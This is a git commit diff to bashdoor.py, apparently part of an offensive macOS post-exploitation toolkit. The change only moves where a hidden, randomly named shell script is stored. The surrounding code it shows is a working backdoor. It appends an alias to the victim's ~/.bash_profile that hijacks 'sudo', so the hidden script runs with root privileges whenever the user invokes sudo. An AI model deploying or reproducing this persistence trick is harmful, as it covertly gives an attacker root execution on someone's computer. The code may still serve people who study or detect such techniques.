Update bashdoor.py

Removed iTunes subdirectory
mdns
n00py 2016-10-11 09:40:54 -07:00 committed by GitHub
parent 3f39272711
commit 26c8839edf
1 changed files with 1 additions and 1 deletions

View File

@ -91,7 +91,7 @@ from random import choice
from string import ascii_uppercase
home = os.getenv("HOME")
randomStr = ''.join(choice(ascii_uppercase) for i in range(12))
bashlocation = home + "/Library/iTunes/." + randomStr + ".sh"
bashlocation = home + "/Library/." + randomStr + ".sh"
with open(home + "/.bash_profile", "a") as profile:
profile.write("alias sudo='sudo sh -c '\\\\''" + bashlocation + " & exec \\"$@\\"'\\\\'' sh'")
launcher = "%s"